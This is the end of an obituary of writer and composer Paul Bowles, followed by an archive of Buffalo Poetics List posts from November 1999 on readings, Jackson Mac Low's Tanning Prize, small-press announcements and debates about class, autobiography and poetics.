Paul Bowles became interested in writing fiction when he went over the manuscript of Jane's novel Two Serious Ladies prior to its US publication. The plot of his most celebrated novel, The Sheltering Sky, came to him while on a bus in New York. It was published in 1949 by New Directions and became an immediate bestseller. (It was originally commissioned by Doubleday, who then turned it down as "not a novel".)

Bowles described the novel to his American publisher James Laughlin as "an adventure story in which the adventures take place on two planes simultaneously; in the actual desert, and in the inner desert of the spirit... The occasional oasis provides relief from the natural desert, but the sexual adventures fail to provide relief." Many readers, including Jane, saw the central characters of Port and his wife Kit as based on the Bowleses themselves.

The following year, a short-story collection by Bowles appeared under the title The Delicate Prey (US) and A Little Stone (UK). The British edition, published by John Lehmann, was notable for its omission of two stories, Pages from Cold Point, later described by Norman Mailer as "a seduction of father by a son and one of the best stories written by anyone", and A Distant Episode, which climaxes in a chilling castration. Tennessee Williams told Bowles that the latter was "a wonderful story but if you publish it you're mad. Everyone is going to think you are some sort of horrible monster." Cyril Connolly and Somerset Maugham advised Lehmann not to include either story on the grounds that they would not be passed by the censor.

Bowles's next novel, Let It Come Down, charts the disintegration of Nelson Dyer, a bank clerk from New York who has settled in Tangier. Where The Sheltering Sky focused on the Saharan desert, Let It Come Down centred on the Moroccan capital and the corruption of life under the international zone. Bowles had taken majoun, a jam made from cannabis, to write Port's death scene in The Sheltering Sky and in his second novel he has Dyer descend into Spanish Morocco and a madness induced in part by a "kif" haze.

The Spider's House, set in the medieval city of Fez, is the most overtly political of Bowles's novels. It examines the relationship between Amar, a 15-year-old

Moroccan boy, and three foreigners, an American writer (with overtones of Bowles), a rich English painter and an American divorcee. Bowles used the novel, which opens in 1954 during the holy month of Ramadan, to explore the shifting relationship between the colonial power of the French and the rising tide of Moroccan nationalism. Up Above the World, his final novel, concerns the doomed trajectory of an American couple in an unnamed Central American country. Bowles compared it to the writings of Graham Greene and Gide, calling it "light" entertainment, which it is not.

He went on to publish several short-story collections, including A Hundred Camels in the Courtyard, set in Morocco and with an underlying theme of kif smoking. Other works include the travel writing of Their Heads Are Green and Their Hands Are Blue; Points in Time, a journey through the Moroccan centuries; and an enigmatic autobiography, Without Stopping, dubbed "Without Telling" by William Burroughs. A novella, Too Far From Home, set in Mali, was well received on publication in 1994.

In later years, when his own creative output had diminished, Bowles translated a number of Moroccan oral storytellers including Mohammed Mrabet, Mohamed Choukri, Abdeslam Boulaich and Larbi Layachi. Some western critics accused Bowles of writing these tales himself, an accusation he always strongly denied. One or two of these storytellers, with an exaggerated sense of the sales potential of their books, would later allege that Bowles was pocketing their royalties. In fact, Bowles was always a soft touch when it came to his close Moroccan male friends - although less so to others on occasion.

Other translations included Sartre's play Huis Clos (Bowles came up with the English title, No Exit); The Oblivion Seekers, by Isabelle Eberhardt; and several novels by the Guatemalan writer Rodrigo Rey Rosa.

Decades earlier, Bowles was the recipient of a Rockefeller grant to record Moroccan folk music; the tapes are in the Library of Congress in Washington. Bowles was to travel some 25,000 miles around his adopted country, making 250 recordings of a diverse range of local music.

Paul Bowles was an intensely private man, possessed of a dry New England sense of humour and a capacity for friendship which was at odds with his public persona as a detached, often aloof, observer. Much of late 20th-century human behaviour frankly baffled him.

Through his books he created a vision of Morocco uniquely his own. In old age he continued to live in the same run-down Tangier apartment block, the Immeuble Itesa, receiving visitors and fans from around the world (and the world came to Bowles) with little complaint. Having lived for many years without a telephone, his last concession to technical intrusion was the installation of a fax machine, the number of which was made available to a

select group of intimates. Having travelled little in later years, he flew to Paris for the opening of The Sheltering Sky and returned again for a concert of his music, lunching with President Mitterrand at the Elysée palace.

Paul Frederick Bowles, writer and composer, born December 30 1910; died November 18 1999

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_____ Pierre Joris
The postmodern is the condition of those 6 Madison Place things not equal
to themselves, the wan- Albany NY 12202 dering or nomadic null set
(0={x:x not-equal x}). Tel: [redacted] Fax: [redacted]
Alan Sondheim Email: [redacted] <mailto:[redacted]> Url:
<http://www.albany.edu/~joris>

_____ _

> *Get Your Private, Free Email at http://www.hotmail.com*

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384. **David Baratier**
Re: Business, class, access
Sun 21 Nov 1999

There are a few things to bring out for Joe's post. Sure there are class distinctions, and Kathy makes a good point with how "the homeless, the poor and elderly, the rural poor, the working poor are all examples of invisible classes." which seems to create part of the problem in differentiation. While this is information, where to go with it from here, what to bring forth?

For me, its about victimization and restigmatization of individuals. When a recent stat suggests that the poverty of women who are single parents, even if they lived and combined income with the child's father, in two thirds of the cases would still be below the poverty line, unchanged, the question becomes one of marketing. In the duration of flipping the societal coin of answer towards one or the other issue, the solution is unfounded and yet is marketed as one.

Literacy was always bound up in what people want and now that they have been told they can have what they want, at any time, they want it. The wanting is the hardest part. And yet, apparently editors, through their marketing methods, reinforce this socio-economic restigmatization. The question becomes one of method, as Stephen says:

The rhetoric of setting apart also involves that sense of "sacrifice" meaning "to make sacred" - "sacred - to set apart in honor of".

The way poetry titles are mentioned, for example, Lesbian & Gay, Latino, Native-American etc. Is this done with honorable intent? Or is it necessary for publishers to categorize a writer as a method to move product? It seems the second or else the unthought repetition of what everyone else is doing. Is there some other effective way, without labeling, to get things out there? I think there is and marketed Will Alexander's book as a *poetry title*. Nothing more. No mention of class, race, photos and so on. Unfortunately division implies opposition to the thing divided. The quote I brought forth was intended to deal with Will not Erica Hunt, which is a clarity mistake on my part. One of the ways Alexander's pages complicates and interrogates the notion of "black identity;" is by rendering it neuter, a null set, unless a publisher mentions race as a selling point. The references contained within the book might give a hint, but no solid backing to an assertion. One might assume more readily, for example, he is a scientist from the subject material. As for essentializing the Mullen essay, I doubt it, it is only 3 pages, and almost a fourth appeared in the last quote, unless this has appeared somewhere else, not mentioned in the Booglite issue. The essay itself is essentialized by the length perhaps. Questioning the criteria of cannonization is part of the evaluation, which as mentioned, Aldon does in Black Chant, gives plenty to discuss, but what about a further questioning of publishers' individual marketing methods beyond anthologies? Are these concepts transferrable? Where does the differentiation lie?

Be well

David Baratier

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385. Katherine Lederer
Double Happiness NYC - Upcoming
Sun 21 Nov 1999

Segue @ Double Happiness
DECEMBER, JANUARY 1999-2000 Readings
Saturdays from 4:00 to 6:00 pm.
Double Happiness is located at 173 Mott Street,
just south of Broome in China Town.
A 4$ contribution goes to the readers.

The coordinator for this series is Charles Borkhuis. Continuing support of this series is provided by the Segue Foundation. Funding is made possible by support from the Literature Program of the New York State Council on the Arts.

DECEMBER 4: PAUL HOOVER, ANN LAUTERBACH Paul Hoover's most recent poetry collections are Totem and Shadow: New & Selected Poems (Talisman House) and Viridian (University of Georgia Press). He is also editor of the

anthology Postmodern American Poetry (W.W. Norton) and the literary magazine New American Writing. Ann Lauterbach's five collections of poetry include (Penguin Books): On A Stair, And for Example, and Clamor. She is a recipient of a 1993 Mac Arthur Fellowship.

DECEMBER 11: TIM DAVIS, MICHAEL GIZZI Tim Davis has published poems in Fruit of the Jews, Rectumry, Agida, Temple Breath, Half-a-Crumb Monthly, and Mouthful of Burrs, and has critical work forthcoming in Tabula Moustache and Too Wit. His book Dailies, might be out by the time he reads here, but if not, he'll be selling signed sandwiches and fingerprinted cans of Lemon Pledge. Michael Gizzi's most recent books are No Both (Hard Press/The Figures, 1997) and Too Much Johnson (The Figures, 1999). In Gizzi's case, hearing is close to believing.

DECEMBER 18: ED ROBERSON, GARRETT KALLEBERG Ed Roberson is the author of six volumes of poetry, one of which, Voices Cast Out To Talk In, was the 1995 winner of the Iowa Poetry Prize; another, Atmosphere Conditions (Sun & Moon) was a 1998 National Poetry Series Winner. Roberson is also a recipient of the Lila Wallace-Reader's Digest Writers Award. Garrett Kalleberg is the author of Limbic Odes. His poetry and criticism have appeared in Sulfur, American Letters & Commentary, Mandorla, First Intensity, Denver Quarterly and elsewhere. He edits and publishes The Transcendental Friend and Immanent Auto from Brooklyn, NY.

DECEMBER 25 & JANUARY 1: HOLIDAY WEEKENDS -- NO READINGS -- HAPPY 2000!

JANUARY 8: EILEEN MYLES, CYNTHIA HOGUE Eileen Myles is a midtown poet. She's written thousands of poets since 1974 when she arrived in NY. Her latest book of poems, School of Fish won her a Lambda Book Award. Cynthia Hogue's third collection of poetry, The Never Wife, is just out from Mammoth Press. She is completing a new ms. entitled The Incognito Body, and co-editing an anthology of critical essays on innovative women's writing. She directs the Stadler Center for Poetry at Bucknell University, where she teaches English.

JANUARY 15: LEE BREUER, HEATHER FULLER Lee Breuer, writer, director, and founding member of Mabou Mines, is the recipient of several Obies and a Mac Arthur Award. His plays include: The Shaggy Dog Animation, Hajj, Prelude to Death in Venice, The Warrior Ant, Gospel at Colonus, and Epidog. Heather Fuller is the author of perhaps this is a rescue fantasy (Edge Books, 1997) and C Ration Dog & Pony (Like Books, 1999) and edits poetry and book reviews for The Washington Review.

JANUARY 22: MARK WALLACE, BUCK DOWNS Mark Wallace is the author of 10 books and chapbooks of poetry, including Nothing Happened and Besides I Wasn't There (Edge Books) and Sonnets of a Penny-a-Liner (Buck Downs

Books). His Temporary Worker Rides a Subway won the New American Poetry Award and is forthcoming from Sun and Moon. He lives in Washington, DC. Buck Downs was born in Ellisville, Mississippi and now lives in Washington, DC, where he is a Senior Editor for Columbia Books, Inc. His first collection of poems, marijuana softdrink, was published by Edge Books in 1998.

JANUARY 29: KRISTIN PREVALLET, CYDNEY CHADWICK, MICHELLE MURPHY Kristin Prevallet's chapbook Selections from the Parasite Poems was recently published by Barque Press. Her essays and poems have appeared in Jacket, Sulfur, Boxkite, Object, and Torque. She recently edited and wrote an introduction for a selection of ballads and collages by the poet Helen Adam. Cydney Chadwick is the author of seven books and chapbooks. Her writing has been translated into French, Russian, Spanish and Portuguese. She has been the director of Avec publications since 1988. Michelle Murphy's book of prose poems, Jackknife & Light (Avec Books) was a recent finalist in the Pen/West Literary Awards. Murphy's work has been translated in numerous US journals as well as in Russia and Japan.

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386. Katherine Lederer
Duration Press address?
Sun 21 Nov 1999

Looking for Duration Press postal address.

Thanks,
Katy

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387. Ron Silliman
Mac Low wins the Tanning!
Mon 22 Nov 1999

The Pittsburgh Post-Gazette had this in yesterday's paper:

The country's biggest cash award for poetry, the $100,000 Tanning Prize, was pocketed by Jackson MacLow earlier this month.

MacLow, 77, has written 26 books, the most recent, "Barnesbook," in 1995. He's also a painter and performance artist.

Like Creeley and the Bollingen recently -- it is so very rare that one of this awards organizations gets it right that it nearly takes the top of your head off when it happens. But the Tanning folks, whomever they may be, have gotten

this one right. Even if the Post-Gazette doesn't recognize the space between Mac and Low.

Congratulations to Jackson for whom such honors are only a few decades overdue!

Ron Silliman

↑ Index

388. rebecca wolff
fence errata
Mon 22 Nov 1999

Please note that Martine Bellen's poem "Meditations on Falling Past" in Fence #4 is not as it should be.

The poem will be reprinted in its correct entirety in our next issue. Apologies to Ms. Bellen and readers.

Thanks,

The Editors

↑ Index

389. miekal and
e u y
Mon 22 Nov 1999

E U Y

by Miekal And

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west lima wi 1986

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a zaumist biography of Alexsei Kruchenykh

"Zaumniks all of us!"
-kruchenykh

_____

this book was written & designed by
Miekal And Christmas 1985 & is in actuality
the first book issued by XEXOXIAL EDITIONS
(previously known as Xerox Sutra Editions
until we received a threat from Xerox Corp).
any word contained herein may be freely

used in conjunction with any language. the author holds no rights over speech.

for Liz Was as if she will dance
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390. Poetics List
NAROPA UNIVERSITY WEB-BASED CLASSES / Seltz
Mon 22 Nov 1999

I was asked to forward this message to the list. Chris

Date: Fri, Nov 19, 1999 12:55 PM -0700
From: Colleen Seltz <[redacted]>

ANNOUNCING NAROPA UNIVERSITY WEB-BASED CLASSES FOR SPRING SEMESTER

Experience Naropa=85from a distance. We are pleased to announce that registration is now open for our Spring Semester (which runs from January 18th to May 8th) web-based courses. A large selection of classes is available from the heart of our academic curriculum in the areas of Writing and Poetics, Environmental Leadership, Gerontology, Tibetan Language, Buddhism, Meditation, Religion and Psychology.

Naropa University is a private, non-sectarian, fully accredited liberal arts college in Boulder, Colorado, characterized by a Buddhist inspired heritage and an unique contemplative approach to education.

Naropa's Department of Writing and Poetics, inaugurated as the Jack Kerouac School of Disembodied Poetics, 25 years ago by Allen Ginsburg and Anne Waldman, offers accredited BA and MFA degrees and hosts the internationally known Summer Writing Program each year.

In Spring 2000 Naropa will be offering 7 Writing classes from the Department of Writing and Poetics curriculum, via the World Wide Web using the latest Internet technology. All classes are offered for academic credit and are available to non-degree students. Credits earned online may be applied to the degree program, upon acceptance and enrollment in the on-campus program, or transferred to other colleges in the same manner as any college credit. Please share this information with those that may be interested. For further information please visit our distance web site at http://ecampus.naropa.edu/.

For complete course information please select the "Course Schedule" option on the horizontal toolbar. The classes in Writing for Spring Semester and the faculty are:

Writer's Craft - Bill Scheffel
The Art of The Essay: Exploring Creative Non-Fiction - Lee Christopher
Rebel Angels - Lee Christopher
Poetry Workshop: Great Companions - Lisa Jarnot
Literature Seminar: The Feeling Tone - Bobbie Louise Hawkins
Prose Workshop: Sculpting Prose -T. Burke, Jr.
Dramatic Measures: The Craft of Writing for Stage and Screen - T. Burke, Jr.

Thank you. Feel free to contact us at [redacted] should you have questions or comments.

Sincerely,

The Naropa Online Team

Dear Chris,

A few months ago you generously offered to post an announcement to your list regarding Naropa's web-based writing classes. I am hoping that you could possibly post this follow up announcement for our Spring classes. Also Deena Wade our Communcations Director and also a student in our Writing Program, would like to join the list. How does she do this? Her email address is [redacted]. Please email me if there is a problem with posting this. And thanks so much in advance for doing this. I think that it may be of interest to people. I am sending the announcement in the body of this email and also as an attachment.

Thank you and Warm Regards,

Colleen Seltz
Coordinator of Naropa Online

ANNOUNCING NAROPA UNIVERSITY WEB-BASED CLASSES FOR SPRING SEMESTER

Experience Naropa…from a distance. We are pleased to announce that registration is now open for our Spring Semester (which runs from January 18th to May 8th) web-based courses. A large selection of classes is available from the heart of our academic curriculum in the areas of Writing and Poetics, Environmental Leadership, Gerontology, Tibetan Language, Buddhism, Meditation, Religion and Psychology.

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Writer's Craft - Bill Scheffel
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Literature Seminar: The Feeling Tone - Bobbie Louise Hawkins
Prose Workshop: Sculpting Prose -T. Burke, Jr.
Dramatic Measures: The Craft of Writing for Stage and Screen - T. Burke, Jr.

Thank you. Feel free to contact us at [redacted] should you have questions or comments.

Sincerely,

The Naropa Online Team

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391. Poetics List

Amy Holman / Fouhy

Mon 22 Nov 1999

The following message came to the administrative account.

From the www site indicated: "Mt. Kisco, NY: The Creative Arts Cafe at the Northern Westchester Center for the Arts will feature poet Amy Holman on Monday, November 22, at 7:30 PM. Amy Holman recently read segments of her work in October at NWCA¹s Writers¹ Resource Symposium which she helped organize with Cindy Beer-Fouhy, Director of Literary Arts. Ms Holman was

invited to return as a feature for the Café¹s Poetry Series. A reception and open mike will follow."

Chris

Date: Sat, Nov 20, 1999 3:07 AM -0500
From: George Fouhy <[redacted]>

This web site gives all the information about Amy Holman's reading
http://www.bestweb.net/~cindyf/poetry_2000.htm

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392. Poetics List
poetry web site / Fouhy
Mon 22 Nov 1999

This message came to the administrative account. Chris

Date: Mon, Nov 22, 1999 12:48 AM -0500
From: George Fouhy <[redacted]>

I just developed a web site for the poetry series. Let me know what you think. Update will include poetry and writers workshop links.... See you Monday! Cindy

http://www.bestweb.net/~cindyf/poetry_2000.htm

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393. Charles Bernstein
Jackson Mac Low / Tanning Prize
Mon 22 Nov 1999

Jackson Mac Low Wins 1999 Tanning Prize

$100,000 for Mastery in the Art of Poetry

New York, November 3, 1999--The Academy of American Poets today announced that Jackson Mac Low has been selected as the recipient of the 1999 Tanning Prize. The $100,000 award recognizes outstanding and proven mastery in the art of poetry. The judges for this year's Tanning Prize were Frank Bidart, Robert Creeley, Sharon Olds, Marjorie Perloff, and John Yau.

Jury chair Robert Creeley writes of Mr. Mac Low's poetry:

"Jackson Mac Low is a poet of great heart and abiding faith. His poetry has long been recognized as the most defining of American experimentalism, both with respect to text and to performance. It is the genius of his art to make poetry again enactment, to make its materials—words and syntax, and all the human

echoes each must carry—a resonating, perceptive pattern reaching far beyond the enclosure of imagined subjects or intent. Patient, enduring, selfless, he has made substance of our language in ways that reveal its own initiating authority, proving its sounds a song, its progress a transforming revelation.

Commenting on the jury process of this year's Tanning Prize, Creeley reports,

The poets our jury considered were a significant range from all character of background and practice, professional commitment and cultural circumstance. It is the great virtue of our country's poetry that it is plural, poetries, rather than an abiding, singular hierarchy or one settled condition of practice. In awarding the prize to Jackson Mac Low, we sought to honor not only a great master of the art in its most inventive and resourceful character, but to recall also that American poetry itself defines such a tradition as he exemplifies, fosters insistently the experimental, seeks always to expand the parameters of its activity and relationships.

Jackson Mac Low was born in Chicago in 1922. He is a poet and composer and a writer of performance pieces, essays, plays, and radio works. He is also a painter and multimedia performance artist (often with his wife, Anne Tardos). Author of twenty-six books, his works have been published in many anthologies and periodicals and read publicly, exhibited, performed, and broadcast in North America, Europe, and New Zealand. Mac Low's recent publications include the books Bloomsday (1984), French Sonnets (1984, second ed. 1989), The Virginia Woolf Poems (1985), Eight Drawing-Asymmetries (1985), Representative Works: 1938-1985 (1986), Words and Ends from Ez (1989), Twenties: 100 Poems (1991), Pieces o' Six: Thirty-Three Poems in Prose (1992), 42 Merzgedichte in Memoriam Kurt Schwitters (1994), and Barnesbook (1995) and the compact disc (with Anne Tardos and seven instrumentalists) Open Secrets (1993). Mac Low has taught at many schools, notably the Naropa Institute, Schule für Dichtung in Vienna, Bard College, and Brown University. His previous awards include fellowships and grants from the National Endowment for the Arts, CAPS (New York State), PEN, the Guggenheim Foundation and the New York Foundations for the Arts.

The Tanning Prize was established in August 1994 by a gift of $2 million to the
Academy from the painter Dorothea Tanning. The previous recipients of the award
are W. S. Merwin, James Tate, Adrienne Rich, and A.R. Ammons.

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394. Hoa Nguyen
Skanky announcement: Possum #3
Mon 22 Nov 1999

The 3rd issue of Skanky Possum is now available for only $5 (US). With individually painted possum covers!!

Featuring poems by Kenward Elmslie, Daniel Kane, Chad Kenward, Diane Wald, Jack Collum, Linh Dinh, Laura Joy Lustig, Jen Hofer, Philip Trussell, Betsy Andrews, Eric P. Elshtain, Lacy L. Shutz, Susan Maurer, Darcy Nuffer, C.W. Swets, Roger Snell, Dale Smith, Randy Prus, Sarah Menefee, Howard McCord, Kevin Larimer, Patrick Pritchett, Anselm Hollo, Brendan Lorber, Carl Thayler, Norma Cole, Kent Johnson, and Tom Clark.

Also "Buffalo '99", an inquiring essay by Kent Johnson contemplating the "reorganization" of the Buffalo Poetics List.

For orders please contact Small Press Distribution at http://www.spdbooks.org/, or call SPD at [redacted].

You may also send orders, queries, and etc. here or by writing:

Hoa Nguyen & Dale Smith
2925 Higgins Street
Austin TX 78722

Also available from SPD and Skanky Possum Press: all titles $5!

Skanky Possum #1 & 2,

Naltsus Bichidin by Carl Thayler
Lucky Pup by Leslie Davis
and _Dark_ by Hoa Nguyen (2nd edition)

.....Skank on friends .....

*** Please forgive cross postings. If you want to be removed from this list, kindly email me here. ***

↑ Index

395. bill marsh
email for scott keeney
Mon 22 Nov 1999

---

if anyone has it, i'd be muched obliged

bc to

bill marsh
[redacted]

↑ Index

396. Arielle C. Greenberg
chapbook publishers
Mon 22 Nov 1999

I'm wondering if you can help me out with some publishing advice. I've put together a mss for the Center for Book Art chapbook contest, but doubt I'll win it...my manuscript involves font size changes, fragments, strange positions on the page, and other things that I don't think the judges will neccessarily want. So I'm wondering if, now that I have this thing together, there are other contests or publishers of chapbooks (24 pages) which are more open to experimentalish work.

Thanks,
Arielle

********** "I thought numerous gorgeous sadists would write me plaintive appeals, but time has gone by me. They know where to get better looking boots than I describe." -- Ray Johnson

↑ Index

397. Richard Dillon
Re: Jackson Mac Low / Tanning Prize
Mon 22 Nov 1999

Robert Creeley's remarks really rise to the occasion! Jackson Mac Low is one of the most amazing writers and persons I have ever encountered. What = a
great moment!
>From: Charles Bernstein <[redacted]>
>To: [redacted]
>Subject: Jackson Mac Low / Tanning Prize
>Date: Mon, Nov 22, 1999, 1:51 PM
>

> *Jackson Mac Low Wins 1999 Tanning Prize*
>
> *$100,000 for Mastery in the Art of Poetry*
>
> *New York, November 3, 1999--The Academy of American Poets today announced that*
> *Jackson Mac Low has been selected as the recipient of the 1999 Tanning Prize. The $100,000 award recognizes outstanding and proven mastery in the art of poetry. The judges for this year's Tanning Prize were Frank Bidart, Robert*

Creeley, Sharon Olds, Marjorie Perloff, and John Yau.

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The Tanning Prize was established in August 1994 by a gift of $2 million to the

> *Academy from the painter Dorothea Tanning. The previous recipients of the award*
> *are W. S. Merwin, James Tate, Adrienne Rich, and A.R. Ammons.*

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398. Ron Silliman
Re: Announcement: Dream/Fall
Mon 22 Nov 1999

This I like. I definitely like.

Ron ("The sheep are on fire") Silliman

From: David Knoebel <[redacted]>
Subject: Announcement: Dream/Fall
Date: Fri, 19 Nov 1999 12:49:30 -0500

A poetry installation in Shamokin PA

http://home.ptd.net/~clkpoet/dream/dream.html

--
David Knoebel
-cranking out 2-3 words per day, every day, no matter what.

http://www.clickpoetry.com

_____
Get Your Private, Free Email at http://www.hotmail.com

↑ Index

399. miekal and
Re: Bending, - Stooping!, Tlingit, Konniger
Mon 22 Nov 1999

This is certainly in dispute with other who were also present who just like to argue for the sake of grief or sport. The eyes have been sewed shut & neural circuits hard wired to the intimacy of the spoken word, one shellfish at a time. Club the language, spawn.

Tony Green wrote:
>
> an answer to the question, Alan?
>
> Nikuko held Dr Konninger's eyes for a long time, but she
> was the first to look away. She held his eyes, never
> returned them, as she went on opening mussels.

>
> Tony
>
> -----Original Message-----
> From: Alan Sondheim <[redacted]>
> To: [redacted] <[redacted]>
> Date: Saturday, 20 November 1999 03:00
> Subject: Bending, - Stooping!, Tlingit, Konniger
>
> "Did NIKUKO return his eyes?"
> >
> >("steps gingerly into the pools, bending, stooping! - stooping! - gath-
> >ers sea-mussels, her eyes fixed, she's never dizzy, the slight scent of
> >sea-water")
> >
> >
> >
> >_____
> >

↑ Index

400. **Tom Beckett**
Re: re Bromige And the Provinces
Mon 22 Nov 1999

I guess, David, that I'm increasingly wary of hierarchies of "excellence." Especially ones that are based on geographical and, perhaps?, class distinctions.

TomB.

↑ Index

401. **Alan Sondheim**
(no subject)
Mon 22 Nov 1999

 MoTHERE ARE Fools so DEAD
they cannot hear or see?

IL DLUOW E
 LIKE TO SEE ME
  MoTHEre !   G DEAD
  MoTHEre I WOULD LIke dEad words
IL DLUOW E

LIKE TO SEE ME
MoTHERE ARE Fools so dead as we?
MoTHERE ARE Fools aLIve as we?

IL DLUOW dEad words from a dead god

↑ Index

402. **Skip Fox**
Re: realism, autobiography
Tue 23 Nov 1999

)ohn--

Perhaps to point here is the introd. Bernstein and Andrews wrote to _The L=A=N=G=U=A=G=E Book_:

> confusion about the nature of this exploration florishes. For instance, the idea that writing should (or could) be stripped of reference is as bothersome and confusing as the assumption that the primary function of words is to refer, one-on-one, to an already constructed world of "things." Rather, reference, like the body itself [and there, again, is the body, the "plan"], is one of the horizons of language. . . . It is the multiple powers and scope of reference (denotative, connotative, associational), not writers' refusal or fear of it, that threads these essays together. It is a renewed engagement that comes from the recognition that the (various) measuring and questioning and composition of our references is the practice of our craft.

Or Creeley's lovely: "Poetry is not referential, at least not importantly
so."

skip

↑ Index

403. **Lowther, John**
realism, autobiography
Tue 23 Nov 1999

> { p o e t i x }

i remember in some backchannel discussion saying to someone that i thought that langpo allowed for as much biography of the poet than much of what came

before --- this didnt go over with my corespondent very well who went, as i recall, the "non-referential" route telling me that much of langpo was characterized more by it NOT being about anything outside itself --- and, i'm guessing that autobiography is, like everything else (?) outside this work for this person

someone reading this is just bubbling to mention _my life_ i know but i'd like to not mention that

instead i'd like to talk about what i'm interested in with respect to autobiography, with what my need is in that respect and consequently why i find say ted greenwald's _word of mouth_, hannah weiner's _clairvoyant journal_ and steve benson's _blue book_ all tantalizingly rich as autobiography and even why something like melnick's _pcoet_ isnt anti-autobiography in any meaningful sense (for me at least)

it goes back to my thinking about mac low's comments about his failure in the attempt to remove the ego from his poems --- he says something about how it is always present at some level at some remove and this seems indisputable to me

and i've read a number of biographies of poet at this point --- not autobiographies but biographies and they can be pretty interesting tales i'll admit but i think that an autobiography to be that interesting for me wd show me, wd give me exempla of the way this person thinks, how they operate in language etc --- as such it strikes me so far that the two volumes of the _essential peirce_ tell me more about what i'm interested in with regard to charles peirce than the biography of him i read did (tho ken ketner's bio is different in using so much manuscript material and by its pretense of being and autobiography)

silliman's comments about the why "realism" was in the sub-title of _in the amer tree_ are to the point here as well --- it seems to me that if we care about some poet or other it is because of their work, because of their mind found there

i'm skirting the non-referential thing as i don't find it very interesting and it seems to assume that we can remove ourselves from the writing which i don't believe

anyway

)ohn

↑ Index

404. David Baratier
reading in nyc
Tue 23 Nov 1999

Just a note to let you know an author of ours, Douglas Goetsch, will be reading this coming Monday, Nov. 29, 8 PM, at The Poetry Project (St. Mark's Church; 131 East 10th St. @ 2nd Ave.). Jacqueline Waters will also read. Hope you can make it & let me know how it was!

Also, the Academy of American Poets just included a page with some poems of his in their poetry exhibits. Here's the link, if you're curious: The Academy of American Poets - Poetry Exhibits…

Be well

David Baratier

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405. Nielsen, Aldon
Creeley In Company
Tue 23 Nov 1999

Have any of the New Yorkers on the list been around to the NYPL to see the Creeley collaborations exhibit, "In Company"? (and apologies if this has already been discussed -- I was electronically discommoded for a period) --

I've been looking at the book version , which is being distributed by the U of North Carolina Press -- It's a beautiful volume, and affordable -- nice CD rom comes with it -- the designers could have been a bit more imaginative (and who chose that music?!) but the colors float beautifully onto the screen -- I'd get this book even if I had all the artists' books it covers -- which, of course, I never could afford -- though I hasten to add that Creeley and comrades have on occasion ssen fit to produce art/poetry books that any of us could afford, and I've got those! The CD includes photos and correspondence that aren't in the book, and it allows you to page through reproductions of the art and poetry -- My own favorite is _A Sight_, with Kitaj.

would much appreciate a report from the scene from any who have in fact seen it --

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406. Juliana Spahr
mullen on alexander
Tue 23 Nov 1999

David,

The Harryette Mullen article you refer to in Booglite is but an excerpt from a longer paper that she read at Poetry as Cultural Critique in Minnesota. I've lost this conversation somehow so I don't know what is meant by essentializing it.

Callaloo 22.2 (1999) has an interesting interview with Mullen and Alexander, an article by Mullen on Alexander, an article by A.L. Nielsen on Alexander, etc. Also a section on Lorenzo Thomas.

↑ Index

407. Jonathan Skinner
New Mayer CD
Tue 23 Nov 1999

Philip Good asked me to forward this to the list.

JS

Bernadette Mayer's poetry is now available on a CD titled
Epigrams, Imitations and Translations.
This new CD is a studio recording of Bernadette Mayer reading from her books Formal Field of Kissing and Proper Name. Also included are new unpublished epigrams.
If you enjoy Bach's Coffee Cantata you'll enjoy this CD.
Available for $12
from:
Utopia Productions
Att: Philip Good
206 Macedonia Rd
Chatham, New York 12037

↑ Index

408. Nielsen, Aldon
MLA already
Tue 23 Nov 1999

While it may be early to start making MLA plans, some of us have the fortune to be earlier than others. Might I call your attention to session # 452

"Swing Is the Word: African American Poetry and Jazz Idiom"

speakers are Jeffrey Renard Allen, Reginald Scott Young, Meta DuEwa Jones and Aldon Lynn Nielsen -- (yeah, we've all got three names each, but we haven't assassinated anybody)

Wed. 12/29 at 8:30 AM

This is Chicago -- stay up all night and come to our session before you have brunch --

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409. jocelyn saidenberg
K. Prevallet and T. Bryant Reading at SPT, 12/3
Tue 23 Nov 1999

Small Press Traffic Reading
Friday, December 3, 7:30 p.m.
Tisa Bryant
Kristin Prevallet

Tisa Bryant is a San Francisco-based writer and curator. Her work has recently appeared in Clamour, Children of the Dream: Our Own Stories of Growing Up Black in America (Pocket Books), and is forthcoming in the anthologies Beyond the Frontier and What Is Not Said. A novel, Letters to Regret, is forthcoming from Leroy Press. What is special about her work is on the one hand, the speculative questioning about location, space, citizenship--where are we? why are we here and who wants us in this place?--and on the other hand, a rapturous attention to the disturbing psychic and sensuous details of everyday life.

Kristin Prevallet returns from Brooklyn to Small Press Traffic, where she last presented findings of her biographical inquiry into the uncanny life of the poet Helen Adam. (Her edition of Adam's selected poems, Fire Brackled Bones, is forthcoming.) Now she will read from her own poetry, a remarkable re-invention of the cut-up/collage form, political and social readings of ordinary life, torn to shreds by the tender furies of perception and display. Everything's grist for Prevallet's mill, the daily news, the shoes on your feet, the way you look tonight. Hers is the mysterious Life that lives under things, as in the current film American Beauty. Her books include Perturbation, My Sister (First Intensity Press, 1997), Lead, Glass and Poppy (Primitive Publications, 1997) and Selections from: The Parasite Poems (Barque Press, 1999).

New College Cultural Center
766 Valencia Street, San Francisco
$5

Small Press Traffic Literary Arts Center
766 Valencia Street
San Francisco, CA 94110
415/[redacted]
www.sptraffic.org

Small Press Traffic Literary Arts Center

766 Valencia Street

San Francisco, CA 94110

415/[redacted]

www.sptraffic.org

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410. **pete spence**
Re: class
Tue 23 Nov 1999

> *Suddenly i remembered that I should know about working class a lot.*
> *I was thoroughly drilled in marxism and leninism all through many years of school and university back in the 70s in the Soviet Union. M.Z.*

i'd thought maybe doing a bit o' labour because it was your only option would be a better sampler than being drilled by theory//pete spence

_____
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411. **pete spence**
Re: Provincialism, regionalism
Tue 23 Nov 1999

> *Pete Spence (& listmatesI expect the X=Spence equation resolved quickly, so that the one impression I have of his writerly powers, can extend beyond a feeble eye-pun. David*

dave you are an experty on one little ditty!! you'V seen little else und i know it!! weather i miss read you or not aint the matter, and further i'll enjoy my writing no matter how trite it gets i'm not trotting 'round looking for the highliter //pete spence

_____
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412. derek beaulieu
submissions wanted.
Tue 23 Nov 1999

housepress is constantly accepting submissions of
short prose,
B&W concrete and visual poetry,
B&W collage,
LANGUAGE and post-LANGUAGE writing,
B&W illustrations,
sound poetry scores,
B&W comix (panels, and strips)
and
strange expected things with words & text/ure.

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derek beaulieu
housepress
1339 19th ave nw
calgary alberta
canada t2m 1a5
[redacted]

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413. Steve Tills
Recent David Lehman book
Wed 24 Nov 1999

Some comments (pp. 10-11) from David Lehman in his recent book The Last Avant-Garde make me wonder a bit. Possibly this book has already been discussed on the list, but I'd like to note a few things he writes:

